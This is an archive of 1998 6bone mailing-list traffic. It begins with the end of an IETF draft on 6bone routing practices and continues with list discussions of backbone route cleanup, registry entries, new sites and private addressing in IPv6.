 documents  of the Internet Engineering Task Force (IETF),  its  Areas,
 and  its  Working Groups.  Note that other groups may also  distribute
 working documents as Internet Drafts.
 
 Internet  Drafts  are  draft documents valid  for  a  maximum  of  six
 months.   Internet Drafts may be updated, replaced,  or  obsoleted  by
 other  documents at any time.  It is not appropriate to  use  Internet
 Drafts  as  reference  material  or to  cite  them  other  than  as  a
 ``working draft'' or ``work in progress.''
 
 Please  check the 1id-abstracts.txt listing contained in the internet-
 drafts    Shadow    Directories    on    nic.ddn.mil,    nnsc.nsf.net,
 nic.nordu.net,  ftp.nisc.sri.com,  or  munnari.oz.au  to   learn   the
 current status of any Internet Draft.
 
 This draft expires October 30, 1998.

1    Introduction
   
 The  6Bone is an environment supporting experimentation with the  IPv6

 protocols  and  products implementing it. As the  network  grows,  the
 need  for common operation rules emerged. In particular, operation  of
 the  6bone  backbone is a challenge due to the frequent  insertion  of
 bogus routes by leaf or even backbone sites.
 
 This  memo identifies guidelines on how 6Bone sites might operate,  so
 that  the  6Bone can remain a quality experimentation environment  and
 to  avoid  pathological situations that have been encountered  in  the
 past.  It defines the 'best current practice' acceptable in the  6bone
 for  the configuration of both Interior Gateway Protocols (like RIPng)
 and Exterior Gateway Protocols (like BGP4+).

2    Basic principles
   
 The  6bone  is  structured as a hierarchical network with  pseudo  TLA
 (pTLA),  pseudo NLA (pNLA) and leaf sites. The 6bone backbone is  made
 of  a  mesh interconnecting pTLAs only. pNLAs connect to one  or  more
 pTLAs and provide transit service for leaf sites.
 
 BGP4+  is  the mandatory routing protocol used for exchanging  routing
 information among pTLAs.
 
 Multi-homed  sites or pNLAs SHOULD also use BGP4+. Regular  sites  MAY
 use a simple default route to their ISP.

3    Common Rules
   
 This  section details common rules governing the routing on the 6Bone.
 They  are  derived from issues encountered on the 6Bone, with  respect
 to   the  routes  advertised,  handling  of  special  addresses,   and
 aggregation:
 
 1)   link local prefixes
 2)   site local prefixes
 3)   loopback prefix & unspecified prefix
 4)   multicast prefixes
 5)   IPv4-compatible prefixes
 6)   IPv4-mapped prefixes
 7)   default routes
 8)   Yet undefined unicast prefixes (from a different /3 prefix)
 9)   Inter site links issues
 10)  aggregation & advertisement issues

3.1  Link-local prefix
    
 The  link-local  prefix  (FE80::/10) MUST NOT  be  advertised  through
 either an IGP or an EGP.
 
 By  definition,  the  link-local prefix  has  a  scope  limited  to  a
 specific  link.  Since  the prefix is the  same  on  all  IPv6  links,
 advertising  it  in  any routing protocol does  not  make  sense  and,
 worse, may introduce nasty error conditions.
 
 Well  known  cases  where link local prefixes could be  advertised  by
 mistake include:
 -     a  router  advertising all directly connected  network  prefixes
   including the link-local one.
 -    Subnetting of the link-local prefix.
 
 In such cases, vendors should be urged to correct their code.

3.2  Site-local prefixes
    
 Site  local  prefixes (in the FEC0::/10 range) MAY  be  advertized  by
 IGPs  or  EGPs  within a site. The precise definition  of  a  site  is

 ongoing work discussed in the IPng working group.
 
 Site local prefixes MUST NOT be advertised to transit pNLAs or pTLAs.

3.3  Loopback and unspecified prefixes
    
 The  loopback  prefix (::1/128) and the unspecified  prefix  (::0/128)
 MUST NOT be advertised by any routing protocol.
 

3.4  Multicast prefixes
    
 Multicast  prefixes  MUST NOT be advertised  by  any  unicast  routing
 protocol.  Multicast  routing protocols are designed  to  respect  the
 semantics  of  multicast and MUST therefore be used to  route  packets
 with multicast destination addresses (in the range FF00::/8).
 
 Multicast  address scopes MUST be respected on the 6Bone. Only  global
 scope  multicast  addresses MAY be routed  across  transit  pNLAs  and
 pTLAs. There is no requirement on a pTLA to route multicast packets.
 
 Organization-local multicasts (in the FF08::/16 or  FF18::/16  ranges)
 MAY be routed across a pNLA to its leaf sites.
 
 Site-local  multicasts  MUST NOT be routed  toward  transit  pNLAs  or
 pTLAs.
 
 Obviously,  link-local multicasts and node-local multicasts  MUST  NOT
 be routed at all.

3.5  IPv4-compatible prefixes
    
 Sites   may  choose  to  use  IPv4  compatible  addresses  (::a.b.c.d)
 internally. As there is no real rationale today for doing that,  these
 addresses SHOULD NOT be used in the 6Bone.
 
 The ::/96 IPv4-compatible prefixes MAY be advertised by IGPs.
 
 IPv4-compatible  prefixes MUST NOT be advertised by  EGPs  to  transit
 pNLAs or pTLAs.

3.6  IPv4-mapped prefixes
    
 IPv4-mapped  prefixes  (::FFFF:a.b.c.d  where  a.b.c.d  is   an   IPv4
 address)  MAY  be advertised by IGPs within a site. It may  be  useful
 for  some  IPv6 only nodes within a site to have such a route pointing
 to a translation device.
 
 IPv4-mapped prefixes MUST NOT be advertised by EGPs.

3.7  Default routes
    
 6bone core pTLA routers MUST be default-free.
 
 pTLAs MAY advertise a default route to their pNLAs. Transit pNLAs  MAY
 do the same for their leaf sites.

3.8  Yet undefined unicast prefixes
    
 Yet  undefined  unicast  prefixes from  a  format  prefix  other  than
 2000::/3 MUST NOT be advertised by any routing protocol in the 6bone.
 In  particular, RFC1897 test addresses MUST NOT be advertised  on  the
 6bone.
 
 Routing  of  global  unicast  prefixes  outside  of  the  6Bone  range
 (3FFE::/16) is discussed in section 4, Routing policies, below.

3.9  Inter-site links
    
 Global  IPv6 addresses MUST be used for the end points of  the  inter-
 site  links. In particular, IPv4 compatible addresses MUST NOT be used
 for tunnels.
 
 Prefixes  for  those links MUST NOT be injected in the global  routing
 tables.

3.10 Aggregation & advertisement issues
    
 Route aggregation MUST be performed by any border router.
 
 Sites  or  pNLAs  MUST only advertise to their upstream  provider  the
 prefixes assigned by that ISP unless otherwise agreed.
 
 Site border router MUST NOT advertise prefixes more specific than  the
 /48 ones allocated by their ISP.
 
 pTLA  MUST NOT advertise prefixes longer than 24 to other pTLAs unless
 special  peering agreements are implemented. When such special peering
 agreements  are in place between any two or more pTLAs, care  MUST  be
 taken  not  to  leak  the more specific prefixes to  other  pTLAs  not
 participating in the peering agreement.

4    Routing policies
   
 6Bone  backbone sites maintain the mesh into the backbone and  provide
 an   as  reliable  as  possible  service,  granted  the  6Bone  is  an
 experimentation tool. To achieve their mission, 6Bone  backbone  sites
 MUST maintain peerings with at least 5 other backbone sites.
 
 The  peering agreements across the 6Bone are by nature non-commercial,
 and therefore SHOULD allow transit traffic through.
 
 Eventually,  the Internet registries will assign other TLAs  than  the
 6Bone one (currently 3FFE::/16). The organizations bearing those  TLAs

 will  establish a new IPv6 network, parallel to the 6Bone.  The  6Bone
 MIGHT  interconnect  with this new IPv6 Internet, but  transit  across
 the  6Bone  will  not  be guaranteed. It will be left  to  each  6Bone
 backbone  site to decide whether it will carry traffic to or from  the
 IPv6 Internet.
 

5    The 6Bone registry
   
 The  6Bone  registry  is an RPSL database used  to  store  information
 about  the  6Bone. Each 6Bone site MUST maintain the relevant  entries
 in  the 6Bone registry (whois.6bone.net). In particular, the following
 objects MUST be present:
 -    IPv6-site: site description
 -    Inet6num: prefix delegation
 -    Mntner: coordinate of site maintenance staff
 
 Other  objects MAY be maintained at the discretion of the sites,  such
 as routing policy descriptors, person or role objects.

6    Guidelines for new sites joining the 6Bone
   
 New  sites joining the 6bone should seek to connect to a transit  pNLA
 or  a  pTLA  within their region. The 6Bone registry is  available  to
 find out candidate ISPs.
 
 Any  site  connected  to  the 6Bone MUST maintain  a  DNS  server  for
 forward  name  looking  and reverse address translation.  The  joining
 site  MUST  maintain the 6Bone registry objects relative to its  site,
 and in particular the IPv6-site and the MNTNER objects.
 
 The  upstream  ISP MUST delegate the reverse address translation  zone
 in  DNS  to the joining site. The ISP MUST also create 6Bone  registry
 objects reflecting the delegated address space (inet6num:).
 
 Up  to  date  information about how to join the 6Bone is available  on
 the 6Bone Web site at http://www.6bone.net.


7    Guidelines for 6Bone pTLA sites
   
 6Bone pTLA sites are altogether forming the backbone of the 6Bone.  In
 order  to  ensure  the  highest  level possible  of  availability  and
 stability  for  the  6Bone environment, a few constraints  are  placed
 onto sites wishing to become or stay a 6Bone pTLA:
 
 1.   The site MUST have experience with IPv6 on the 6bone, at least as
    a leaf site and preferably as a transit pNLA under an existing pTLA.
    
 2.   The site MUST have the ability and intent to provide "production-
    like"  6bone backbone service to provide a robust and operationally
    reliable 6bone backbone.
    
 3.    The  site MUST have a potential "user community" that  would  be
    served by becoming a pTLA, e.g., the requester is a major player in a
    region, country or focus of interest.
    
 4.    Must commit to abide by the 6bone backbone operational rules and
    policies as defined in the present document.

 When  a candidate site seeks to become a pTLA site, it will apply  for
 it  to  the  6Bone Operations group (see below) by bring evidences  it
 meets the above criteria.

8    6Bone Operations group
   
 The  6Bone  Operations group is the body in charge of  monitoring  the
 adherence to the present rules, and will take the appropriate  actions
 to  correct  deviations. Membership in the 6Bone Operations  group  is
 mandatory for, and restricted to, any site connected to the 6Bone.
 
 The   6Bone  Operations  group  takes  the  form  of  a  mailing  list
 (operations@6bone.net)  and is derived from  the  data  in  the  6Bone
 registry.

9    Common rules enforcement
   
 Participation in the 6Bone is a voluntary and benevolent  undertaking.
 However,  participating  sites are expected to  adhere  to  the  rules
 described in this document, in order to maintain the 6Bone as  quality
 tool   for   experimenting  with  the  IPv6  protocols  and   products
 implementing them.
 
 The  following  processes  are proposed to help  enforcing  the  6Bone
 rules:
 -     Each  pTLA  site  has committed when requesting  their  pTLA  to
    implement the rules, and to ensure they are respected by sites within
    their administrative control (i.e. those to who prefixes have  been
    delegated).
 -    When a site detects an issue, it will first use the 6Bone registry
    to contact the site maintainer and work the issue.

 -     If  nothing happens, or there is disagreement on what the  right
    solution is, the issue can be brought to the 6Bone Operations group.
 -     When  the  problem  is related to a product issue,  the  site(s)
    involved is responsible for contact the product vendor and work toward
    its resolution.
 -     When  an issue causes major operational problems, backbone sites
    may decide to temporarily set filters in order to restore service.
 

10   Security considerations
   
 The  result  of bogus entries in routing tables is usually unreachable
 sites.  Having guidelines to aggregate or reject routes will clean  up
 the  routing  tables.  It  is expected that  using  these  guidelines,
 routing  on  the  6Bone will be less sensitive to  denial  of  service
 attacks due to misleading routes.
 
 The  6bone  is  a  test network. Therefore, denial of service,  packet
 disclosure,... are to be expected.
 

11   Acknowledgements
   
 This  document  is  the  result of shared  experience  on  the  6Bone.
 Special  thanks  go  to Bob Fink for the hard work  make  to  date  to
 direct the 6Bone effort, to David Kessens for the 6Bone registry,  and
 to Guy Davies for his insightful contributions.

12   Author address
   
     Alain Durand
       Institut  d'Informatique  et  de  Mathematiques  Appliquees   de
 Grenoble
     IMAG  BP 53 38041 Grenoble CEDEX 9 France
     Phone : +33 4 76 63 57 03
     Fax   : +33 4 76 51 49 64
     E-Mail: Alain.Durand@imag.fr
 
     Bertrand Buclin
     AT&T International S.A.
     Route de l'aeroport 31 CP 72
     CH-1215 Geneve 15 (Switzerland)
     Phone : +41 22 929 37 40
     Fax   : +41 22 929 39 84
     E-Mail: Bertrand.Buclin@ch.att.com


From 6bone-owner  Thu May  7 07:18:13 1998
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Date: Thu, 07 May 1998 16:17:43 +0200
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: some 6bone backbone cleanup recommendations
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>, "'rlfink@lbl.gov'" <rlfink@lbl.gov>
Message-id: <EECB401D8EB3D111B26800805FC130FC13EB5C@xrr1.cselt.stet.it>
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Hi Bob,

you wrote:


> 6bone Folk,
> 
> Per the 6bone backbone cleanup discussions at the LA IETF I have
> generated
> a first pass set of recommendations on how to proceed.
> 
> The first basic rule to note is that there was almost complete
> consensus to
> avoid hard rule enforcement that forced a pTLA site off the 6bone
> backbone
> with no discourse or allowance for a site to try to clean up their
> act.  In
> fact, it was recommended that we be driven to the greatest extent
> possible,
> by reports that point out the problems (a bit of public exposure and
> humiliation so to speak).  Then arbitrate.
> 
> 
> Various ideas:
> 
> Setup a 6bone-ops list consisting of only mail handles registered in
> the
> 6bone registry:
>   should include email handles from: (David Kessens has volunteered to
> do
> this list)
>     the person: object, e-mail: field
>     the mntner: object, mnt-nfy: field
>     remove duplicates
>     all 6bone sites, not just backbone pTLAs
> 
> Use the current version of Buclin/Durand I-D on "IPv6 routing issues"
> as
> policy:
>   should rename this draft "6bone routing practices" (Bertrand is
> doing this)
>   publish reports of variance with them, per pTLA
> 
> Require a minimum amount of peering for robustness sake:
>   say 3-5 other pTLAs, but not too many
> 
> Publish daily lists of following information:
>   as above, publish reports of variance with the I-D rules, per pTLA
>   pTLA routes longer than /24
>   those pTLAs not carrying all routes (not so easy without special
> effort/tools)
>   those pTLA tunnels not using BGP4+ (already covered above)
>   those pTLAs having too many flaps (publish the Merit 6bone routing
> report)
>   the CSELT ASpath-tree results
>   ping tests across all tunnels
> 
> Directed email to offending sites, especially those significantly
> affecting
> much of the 6bone
> 
> 
> So... comments and volunteers for bits of the work appreciated.
> 
> 
> 
Now I am making available over the Internet a new html page showing the
anomalous BGP4+ prefixes (according to current version of Buclin/Durand
I-D on "IPv6 routing issues") advertised inside the 6Bone backbone. In
particular two kind of anomalous prefixes are displayed:
- Invalid prefixes: prefixes outside of the 6Bone range (e.g. the old
RFC1897 test addresses)
- Unaggregated prefixes: prefixes belonging to the 6Bone range but
longer than /24

This html page is available at
http://carmen.cselt.it/ipv6/bgp/odd-routes.html and is automatically
updated every 5 mim. I have added a link to this new page also inside
the main CSELT's BGP4+ routing info page
(http://carmen.cselt.it/ipv6/bgp/index.html) which is accessible from
the official 6Bone home page.

I hope this will be of help in cleaning up the 6bone backbone.

   Bye

       Ivano




> Thanks,
> 
> Bob
> 
> 
> 
> 

From 6bone-owner  Thu May  7 14:54:06 1998
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Date: Thu, 07 May 1998 14:53:03 -0700
To: Guardini Ivano <Ivano.Guardini@CSELT.IT>,
        "'6bone@isi.edu'" <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: RE: some 6bone backbone cleanup recommendations
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>
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Ivano,

At 04:17 PM 5/7/98 +0200, Guardini Ivano wrote:
...
>Now I am making available over the Internet a new html page showing the
>anomalous BGP4+ prefixes (according to current version of Buclin/Durand
>I-D on "IPv6 routing issues") advertised inside the 6Bone backbone. In
>particular two kind of anomalous prefixes are displayed:
>- Invalid prefixes: prefixes outside of the 6Bone range (e.g. the old
>RFC1897 test addresses)
>- Unaggregated prefixes: prefixes belonging to the 6Bone range but
>longer than /24
>
>This html page is available at
>http://carmen.cselt.it/ipv6/bgp/odd-routes.html and is automatically
>updated every 5 mim. I have added a link to this new page also inside
>the main CSELT's BGP4+ routing info page
>(http://carmen.cselt.it/ipv6/bgp/index.html) which is accessible from
>the official 6Bone home page.
>
>I hope this will be of help in cleaning up the 6bone backbone.

This is most definitely good stuff to help with cleaning up the backbone.
Thank you for doing it.

The odd-routes page is now listed prominently on the 6bone homepage.


Thanks,

Bob


From 6bone-owner  Thu May  7 17:55:25 1998
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Date: Thu, 07 May 1998 20:44:39 -0400
To: ipv6@comp.lancs.ac.uk
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: registry update
Cc: 6bone@ISI.EDU
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Hi,
	I updated an entry in the isi registry two days ago but if I look at the
lancaster tunnels description, the old entry is still there.  I was
thinking that Lancaster was querying the isi registry db, isn't it? Or
Lancaster have a copy/mirror of it, in this case, what is the refresh time?

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
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Date: Fri, 08 May 1998 07:45:48 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: welcome to LINET in Lithuania (our 34th country on the 6bone)
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Welcome to LITNET, in Lithuania, the 34th country to join the 6bone.

ipv6-site: LITNET
origin: AS2839
descr: Academical and Research Network in Lithuania
country: LT
prefix: 3FFE:200:C::/48
application: ping 6bone-gw.litnet.lt
tunnel: IPv6 in IPv4 6bone-gw.litnet.lt -> 6bone-gw.sics.se SICS STATI
Ccontact: MB2-6BONE
remarks: Running test IPv6 implemenatation on CISCO routers
notify: martynas@sc-uni.ktu.lt 
changed: martynas@sc-uni.ktu.lt 19980507
source: 6BONE


From 6bone-owner  Fri May  8 13:15:32 1998
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From: S Tadepalli <sst2258@omega.uta.edu>
To: 6bone@ISI.EDU
Subject: Questions
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Can anyone please answer the following questions as soon as possible?
Thank you for your help.

                1.  Can you tell me the advantages and disadvantages of
IPv6's automatic configuration protocols, "plug-n-play" over the way it is
done in IPv4?
        2.  Can you tell me a scheduling discipline I can use to implement
all of IPv6's real-time support and tell me something of its advantages?
        3.  Can you tell me the potential strengths and weaknesses of the
IPv6 nested header structure.  If there is a weakness in this structure,
can you propose an alternative?
        Thank you very much for your time and please have a nice day.

                                                        Sriram



From 6bone-owner  Sun May 10 16:46:17 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: "Rebecca L. Nitzan" <nitzan@es.net>
Cc: 6bone@ISI.EDU
Subject: RE: draft-ietf-ngtrans-6bone-routing-00.txt 
Date: Mon, 11 May 1998 01:43:08 +0200
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Hi Rebecca,

I'm copying the 6Bone mailing list on the reply to your question, if you
don't mind.

> >8    6Bone Operations group
> >   
> > The  6Bone  Operations group is the body in charge of monitoring
the
> > adherence to the present rules, and will take the appropriate
actions
> > to  correct  deviations. Membership in the 6Bone Operations group
is
> > mandatory for, and restricted to, any site connected to the 6Bone.
> > 
> > The   6Bone  Operations  group  takes  the  form  of  a  mailing
list
> > (operations@6bone.net)  and is derived from  the  data  in the
6Bone
> > registry.
> 
> How exactly is this mailer derived?

As you might have seen on the 6Bone mailing list, there was some
discussion recently on this topic. The intent is to use the electronic
mail address specified in the MTNER object of each site. I consider this
topic to be still under discussion on the mailing list, but once
conclusion is reached, I'll update the draft to reflect it.

Cheers, Bertrand

From 6bone-owner  Mon May 11 07:11:52 1998
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To: Bertrand.Buclin@ch.att.com (Buclin, Bertrand)
Date: Mon, 11 May 1998 07:08:40 -0700 (PDT)
Cc: nitzan@es.net, 6bone@ISI.EDU
In-Reply-To: <71203AED30DAD111AFEF0000C09940BE155D@gvamsx1.ch.att.com> from "Buclin, Bertrand" at May 11, 98 01:43:08 am
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> > > The   6Bone  Operations  group  takes  the  form  of  a  mailing
> list
> > > (operations@6bone.net)  and is derived from  the  data  in the
> 6Bone
> > > registry.
> > 
> > How exactly is this mailer derived?
> 
> As you might have seen on the 6Bone mailing list, there was some
> discussion recently on this topic. The intent is to use the electronic
> mail address specified in the MTNER object of each site. I consider this
> topic to be still under discussion on the mailing list, but once
> conclusion is reached, I'll update the draft to reflect it.
> 
> Cheers, Bertrand

I still beleive that simple use of the MTNER object will lead to 
problems, the principle issue is that there is no requirement, in
protocol or otherwise to maintain such a registration. 

However, there exists a listing of email address that are required
for gaining a delegation, that being the email address which is
encoded in each delegation cut point. 

-- 
--bill

From 6bone-owner  Tue May 12 13:12:30 1998
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i am still unclear on the exact procedure needed to be taken for
Oklahoma State University to be connected to the 6Bone backbone. If you
can please send me a clear procedure which our university can follow in
order to attain such a connection, it would be greatly appriciated.

i.e.. where we can find a connection within our area? How we can contact
that perticular university, company, or organization?And the equipment
upgrade needed to support such a connection.

Dani Aboujaoude
Oklahoma State University




From 6bone-owner  Mon May 18 05:56:54 1998
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Date: Mon, 18 May 1998 14:59:48 +0200
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
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Hello People,

I've read many papers about IPv6, but I want to know how IPv6 implements
the private space addresses.

Some of CMG's clients are running out of private Address space. How does
IPv6 solve this problem ?

Thanks in advance,

Mike Crawfurd.
-- 
Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Mon May 18 07:34:14 1998
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To: mikec@twiddle.com, "6bone@ISI.EDU" <6bone@ISI.EDU>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: IPv6 Question
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Mike,

At 02:59 PM 5/18/98 +0200, Mike Crawfurd wrote:
>Hello People,
>
>I've read many papers about IPv6, but I want to know how IPv6 implements
>the private space addresses.
>
>Some of CMG's clients are running out of private Address space. How does
>IPv6 solve this problem ?

There is no private address space defined for IPv6, nor does there need to be (so seems to me).  There is site local addressing, but that is only useful if your "private space" needs span only one site and you have no external/wide-area ISP connectivity.  

However, I don't see why you need private space at all with IPv6 given the very large address size, as you will need a wide area service to talk to the outside anyway, and thus you automatically have an address space that is more than generous.


As an aside, you should take this kind of question to the IPng mailer (ipng@sunroof.eng.sun.com).


Regards,

Bob

From 6bone-owner  Mon May 18 07:53:03 1998
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Date: Mon, 18 May 1998 16:56:02 +0200
From: Mike Crawfurd <mike.crawfurd@cmg.nl>
Reply-To: mikec@twiddle.com
Organization: CMG Advanced Technologies Rotterdam
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Dear Bob & the rest of the v6 world,

> >Some of CMG's clients are running out of private Address space. How does
> >IPv6 solve this problem ?

IPv6 has a very large address space, but it doesn't solve the problem
for running out of private address space... Converting your entire
network to IPv6 requires for at least an A-net, and I don't know how
many addresses are supplied to companies... 

Does anyone know the answer to this problem ?
 
> There is no private address space defined for IPv6, nor does there need to be (so seems to
me).  There is site local addressing, but that is only useful if your
"private space" needs
span only one site and you have no external/wide-area ISP connectivity.

This is one of the possibilities, I assume that not everybody wants to
connect to the Internet, but at least configures their network to be
ipv6-capable. You can always use your local-link address, etc. etc.

Private space was always a good security option, by using private space
addresses the hosts were not directly reachable, with right
configuration an excellent security feature.
For example the demiliterized zone in combination with firewalls.
Is the security so advance and so sure of itself to dare and make every
host reachable for the outside world ?

> However, I don't see why you need private space at all with IPv6 given the very large address
size, as you will need a wide area service to talk to the outside
anyway, and thus you
automatically have an address space that is more than generous.

IPV6 has a very large address size, I agree, but will the same mistake
not take place like IPv4 ?
Then people thought that the IPv4 range would last forever, the same
mistake can be made by thinking the same way about IPv6...

A small company with let's say 1024 hosts should not have an In-arpa
network range...
 
> As an aside, you should take this kind of question to the IPng mailer
(ipng@sunroof.eng.sun.com).
 
> Regards,
> 
> Bob

Thanks,

Mike Crawfurd.
-- 
Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Mon May 18 08:43:46 1998
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You don't need private address space with IPv6. Private address
space is an unfortunate side effect of IPv4 addresses being so small.
The IPv6 address space is big enough to avoid this problem.

   Brian Carpenter

Mike Crawfurd wrote:
> 
> Hello People,
> 
> I've read many papers about IPv6, but I want to know how IPv6 implements
> the private space addresses.
> 
> Some of CMG's clients are running out of private Address space. How does
> IPv6 solve this problem ?
> 
> Thanks in advance,
> 
> Mike Crawfurd.
> --
> Mike Crawfurd                          Telephone. (+31) 10 253 7000
> CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
> Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
> The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Mon May 18 16:41:11 1998
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Date: Mon, 18 May 1998 17:40:58 -0600 (MDT)
From: "J. Paul Reed" <preed@psd.k12.co.us>
To: mikec@twiddle.com
cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Question
In-Reply-To: <356030C4.554EEA33@cmg.nl>
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On Mon, 18 May 1998, Mike Crawfurd wrote:

> Hello People,
> 
> I've read many papers about IPv6, but I want to know how IPv6 implements
> the private space addresses.
> 
> Some of CMG's clients are running out of private Address space. How does
> IPv6 solve this problem ?

I should really have a better idea of how to answer this question, as I
wrote a 4000 word essay on the dumb thing. :-)

ANYway, I thought I'd point out that IPv4 addresses are valid within IPv6,
so you could always just assign your clients the private space addresses
in IPv4, and append null bits in IPv6 to fill the 128 bits. This is
assuming the IANA or whoever isn't going to reclaim those IPv4 addresses.

Of course, I may be reading your problem incorrectly, and you're saying
you're running out of IPv4 private space addresses as well, in which case
what I've said won't help at all.

Later,
Paul
  -------------------------------------------------------------------------
  J. Paul Reed                 Among other things, just another perl hacker
  #!/usr/bin/perl       unless ($you =~ /spammer/) { print "Email me!\n"; } 
  @MyEmailAddresses = ("preed@psd.k12.co.us","paul@619pro.com"); 
  $MyWebPage = "http://www.psd.k12.co.us/~preed"; 



From 6bone-owner  Mon May 18 17:00:09 1998
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Actually, address depletion is not necessarily the motivating factor
behind private addressing.  Private addresses also provide a degree of
security, since it's not possible to route them over the Internet,
meaning that someone must get into your network via other means before
they can hack internal resources.

I always thought that FE80::/10 was available for private addressing,
and would make a very effective NAT space.  For instance, a company
could be allocated a 64-bit global prefix, and they could use private
addresses inside, simply translating FE80::/64 to their assigned block
and back, leaving the extra 16 bits (plus mac) for internal network
addressing.  Since there's no dynamic nature to this, it works both in
firewalled and non-firewalled environments, even with multiple internet
connections.

Stephen


Brian E Carpenter wrote:
> 
> You don't need private address space with IPv6. Private address
> space is an unfortunate side effect of IPv4 addresses being so small.
> The IPv6 address space is big enough to avoid this problem.
> 

-- 
Stephen Sprunk, KD5DWP   "Oops."            Email: sprunk@paranet.com
Sprint Paranet            -Albert Einstein  ICBM:  33.00151N 96.82326W

From 6bone-owner  Mon May 18 18:10:07 1998
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Date: Mon, 18 May 1998 20:09:37 -0500
From: David Fries <dfries@mail.win.org>
To: Brian E Carpenter <brian@hursley.ibm.com>
Cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Question
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On Mon, May 18, 1998 at 04:45:14PM +0100, Brian E Carpenter wrote:
> You don't need private address space with IPv6. Private address
> space is an unfortunate side effect of IPv4 addresses being so small.
> The IPv6 address space is big enough to avoid this problem.
> 
>    Brian Carpenter

So, when/if ipv6 completely replaces ipv4 will my local ISP give me more
than 1 ip address?  Currently with ipv4 the majority of ISPs give one ip
address to the computer dialing in.  Why would this change for ipv6?  I
have three computers with each a local ip address and another four that
gets used occasionally.

Is there anything in ipv6 that guarantees that I get a block of 16 even if
I get connected with a dial up occasionally?

Some of the ISPs don't allocate a static ip address just so customers can't
use the dialup as a server and only pay as a regular user.  I don't see why
this would change for ipv6.  Even if we were guaranteed a block of ip
addresses I would think ISPs would still allocate them dynamically, so when
I get connected all my computers on the local network would either have to
be re-numbered or there would be problems.  That doesn't even begin to
address the problems with figuring out after I'm connected what all my
computers are numbered.

It seems to me that having a set of ip address that are defined to not be
valid internet address so everyone knows they are free to use them on local
computers is necessary no matter how big your address space is.

-- 
		+---------------------------------+
		|      David Fries                |
		|      dfries@mail.win.org        |
		+---------------------------------+

From 6bone-owner  Mon May 18 19:17:05 1998
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Date: Mon, 18 May 1998 22:21:17 -0400
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From: Robert Szarka <szarka@downcity.net>
Subject: Re: IPv6 Question
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At 11:45 AM 5/18/98 , you wrote:
>You don't need private address space with IPv6. Private address
>space is an unfortunate side effect of IPv4 addresses being so small.
>The IPv6 address space is big enough to avoid this problem.

I'm new to this list and I think Mike's question was a very good.  I just got
back from doing a customer install using the private IP space, precisely to
enhance security and not because I don't have enough address space to give
him.  Using private IP space does not in itself guarantee security, of course,
but I am as surprised as Mike to hear that it doesn't not exist in IPv6.

Can someone provide more background (a paper perhaps?) on the reasoning behind
this?

Also, a related question comes to mind...  Are there multicast addresses set
aside in IPv6 as in IPv4?

...and, as long as I'm already sending a message to list...  I sent email to
someone at Cisco quite a while ago asking what I needed to participate in the
6bone with my Cisco routers.  No reply.  :(  Can anyone point me to more info?

Thanks,

Robert Szarka
Managing Partner, Operations
DownCity, LLC
+1 860 823 3000

From 6bone-owner  Mon May 18 21:04:34 1998
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> 
> Actually, address depletion is not necessarily the motivating factor
> behind private addressing.  Private addresses also provide a degree of
> security, since it's not possible to route them over the Internet,
> meaning that someone must get into your network via other means before
> they can hack internal resources.
> 
> -- 
> Stephen Sprunk, KD5DWP   "Oops."            Email: sprunk@paranet.com
> Sprint Paranet            -Albert Einstein  ICBM:  33.00151N 96.82326W

False premise. Nothing prevents ISPs from routing private address space
other than the notation that the space is not for use in the public Internet.
Some other steps have been taken to discourage RFC 1918 address space
from use within the public Internet, but that still does not prohibit
the routing of these addresses.

-- 
--bill

From 6bone-owner  Mon May 18 22:34:12 1998
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At 7:21 PM -0700 5/18/98, Robert Szarka wrote:
> Using private IP space does not in itself guarantee security, of course,
> but I am as surprised as Mike to hear that it doesn't not exist in IPv6.

IPv6 *does* have private address space: the link-local and site-local unicast
addresses.  You can use site-local addresses exactly like IPv4's net 10, if
you wish.

The point that others have been making is that IPv6 has enough global
addresses that customers need not be forced to use private address space
for lack of sufficient global address space.  If they have other reasons
to want to do so, then IPv6 has what they want.

> Also, a related question comes to mind...  Are there multicast addresses set
> aside in IPv6 as in IPv4?

Set aside for what?  If you are asking if IPv6 has non-globally-scoped
multicast addresses, the answer is yes.

> ...and, as long as I'm already sending a message to list...  I sent email to
> someone at Cisco quite a while ago asking what I needed to participate in the
> 6bone with my Cisco routers.  No reply.  :(  Can anyone point me to more
>info?

Oops.  I'm not in the group at Cisco that does IPv6 support, but I'll pass your
message on.  Have you already checked out <http://www-6bone.lbl.gov/6bone>?

Steve



From 6bone-owner  Mon May 18 22:39:48 1998
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From: "Matthias Urlichs" <smurf@noris.de>
Message-ID: <19980519074125.02414@noris.de>
Date: 	Tue, 19 May 1998 07:41:25 +0200
To: David Fries <dfries@mail.win.org>
Cc: Brian E Carpenter <brian@hursley.ibm.com>, "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Question
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Hi,

David Fries:
> 
